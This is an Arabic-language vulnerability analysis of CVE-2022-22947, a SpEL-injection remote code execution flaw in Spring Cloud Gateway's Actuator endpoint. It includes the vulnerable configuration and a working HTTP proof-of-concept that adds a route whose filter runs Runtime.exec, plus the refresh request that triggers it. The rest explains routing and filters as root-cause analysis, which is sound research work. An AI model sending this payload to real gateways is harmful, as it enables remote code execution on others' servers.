enokiy/cve-2022-22947-spring-cloud-gateway# تحليل واستغلال تفصيلي لـ CVE-2022-22947 ثغرة تنفيذ التعليمات البرمجية عن بُعد في Spring Cloud Gateway عبر حقن SpEL في واجهة Actuator API. يتضمن إثبات المفهوم (PoC)، وحقن الصدفة في الذاكرة، وتحليل السبب الجذري.
Spring Cloud Gateway هو مشروع جديد من Spring Cloud، وهو بوابة تم تطويرها بناءً على تقنيات مثل Spring 5.0 وSpring Boot 2.0 وProject Reactor، وتهدف إلى توفير طريقة بسيطة وفعالة وموحدة لإدارة توجيه API للبنية التحتية للخدمات المصغرة. مؤخرًا تم اكتشاف ثغرة RCE حرجة في Spring Cloud Gateway CVE، وتُظهر معلومات CVE أنه عندما يتم تمكين وكشف Gateway Actuator endpoint الخاص بـ Spring Cloud Gateway، فإن التطبيق يكون عرضة لهجوم حقن الأكواد عن بُعد، حيث يمكن للمهاجم إرسال طلبات خبيثة لتنفيذ أكواد عشوائية عن بُعد. الإصدارات المتأثرة حاليًا هي:
يحلل هذا المقال مبدأ الثغرة وطرق الاستغلال الأكثر تقدمًا من خلال إعادة إنتاج هذا CVE.
استخدم التبعيات التالية لإنشاء مشروع Maven:```xml org.springframework.cloud spring-cloud-gateway-server 3.0.6 org.springframework.cloud spring-cloud-starter-gateway 3.0.6 org.springframework.boot spring-boot-starter-actuator 2.5.9
في التكوين الافتراضي لـ Spring Boot، فقط endpoint واحد وهو health مفتوح للويب. إذا كنت بحاجة إلى فتح gateway، فيجب تكوينه يدويًا، راجع [الوثائق الرسمية](https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints) ,[【2】](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#actuator-api) ：```text
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway,health
أرسل الـ POC التالي：```text POST /actuator/gateway/routes/test2 HTTP/1.1 Host: 127.0.0.1:9000 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close Content-Length: 306 Content-Type: application/json
{ "id": "test2", "predicates": [{ "name": "Path", "args": {"_genkey_0":"/test2"} }], "filters":[{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{T(java.lang.Runtime).getRuntime().exec("calc")}" } }], "uri": "http://127.0.0.1:9999" }]
بعد ذلك، أرسل ```POST /actuator/gateway/refresh``` لتحديث معلومات ذاكرة التخزين المؤقت للتوجيه ويمكن تفعيل POC:
## تحليل المبدأ
بالنظر إلى POC أعلاه، أولاً يتم إضافة مسار ديناميكيًا عبر ```POST /actuator/gateway/routes/test2```. أثناء عملية إضافة المسار، يوجد filter يعالج المعاملات المُدخلة بحيث يمكن تحليل القيمة كتعبير SpEL، ثم عند تحديث ذاكرة التخزين المؤقت للتوجيه يتم تنفيذ POC.
أولاً، لنلقِ نظرة على آلية تكوين التوجيه الديناميكي في Spring Cloud Gateway.
### تكوين التوجيه الديناميكي
يدعم Spring Cloud Gateway تسجيل المسارات عبر الكود/ملفات التكوين، على سبيل المثال من [demo](https://spring.io/guides/gs/gateway/) على الموقع الرسمي:```java
@Bean
public RouteLocator myRoutes(RouteLocatorBuilder builder) {
return builder.routes()
.route(p -> p
.path("/get")
.filters(f -> f.addRequestHeader("Hello", "World"))
.uri("http://httpbin.org:80"))
.build();
}
طريقة ملفات التكوين مشابهة للكود:```yaml application.yml spring: cloud: gateway: routes: - id: test1 uri: 目标uri predicates: - Path=/test1, filters: - StripPrefix=1
الطرق المضافة بهاتين الطريقتين ثابتة؛ إذا كنت بحاجة إلى إضافة أو تعديل أو حذف تكوينات وقواعد التوجيه، فيجب إعادة تشغيل التطبيق حتى تصبح سارية المفعول. لكن في الواقع، وبما أن spring cloud gateway هو مدخل كل حركة المرور، يجب ضمان توفر عالٍ للنظام، لذلك بعد أن يعرض spring cloud gateway نقطة النهاية `/gateway`، يمكن استخدام `/gateway/routes` لإضافة وحذف وتعديل معلومات التوجيه الديناميكي. لكن معلومات التوجيه بهذه الطريقة موجودة في الذاكرة فقط، وبمجرد إعادة تشغيل الخدمة، تُفقد معلومات تكوين التوجيه المضافة حديثًا.
من تنسيق تسجيل التوجيه أعلاه، يمكن ملاحظة أن معلومات التوجيه تتضمن uri الهدف، مجموعة filters، ومجموعة predicates. يمكن لـ predicates مطابقة أي محتوى من طلب http (ترويسات الطلب، المعاملات). يحتوي spring cloud gateway على العديد من فئات مصانع route predicate المدمجة، مثل Before وAfter وBetween وCookie وHeader وHost و[Path وغيرها](https://docs.spring.io/spring-cloud-gateway/docs/3.0.4/reference/html/#gateway-request-predicates-factories).
تُستخدم filter لتعديل الطلب أو الاستجابة قبل إرسال الطلب أو بعده، وتتضمن أيضًا العديد من مجموعات filter المدمجة. في الـ payload السابق الذي يطلق RCE، استخدمنا filter باسم AddResponseHeader. من الـ filters الأخرى: RewritePath وSetPath وغيرها. هناك نوعان من الـ filter: أحدهما GlobalFilter الذي يعمل على جميع الطرق، والآخر GatewayFilter الذي يعمل على مسار واحد فقط. للتفاصيل، راجع https://www.cnblogs.com/duanxz/p/14780675.html.
,
## تدفق الطلب
إذن، ما هو التدفق المحدد عندما يصل طلب ما عبر gateway إلى الخدمة proxied في الخلفية؟ العملية في الوثائق الرسمية هي كما يلي:
يرسل العميل طلبًا إلى Spring Cloud GateWay، ثم يعثر GateWay Handler Mapping على الطريق المطابق للطلب ويرسله إلى GateWay Web Handler؛ ثم يمرر Handler الطلب عبر سلسلة filters المحددة إلى الخدمة الفعلية لتنفيذ منطق الأعمال، ثم يعيد النتيجة. الفواصل بين الـ filters بخط متقطع لأن الـ filters قد تنفذ منطق الأعمال قبل (pre) إرسال الطلب الوكيل أو بعده (post).
يبحث RoutePredicateHandlerMapping عن المسار ثم يعالجه webHandler:
بعد العثور على gatewayFilters و globalFilters في webHandler، يتم ترتيبها وفقًا لقيمة Order المعرفة في الـ filter لتشكيل filterchain، ثم يتم تنفيذ جميع الـ filters.
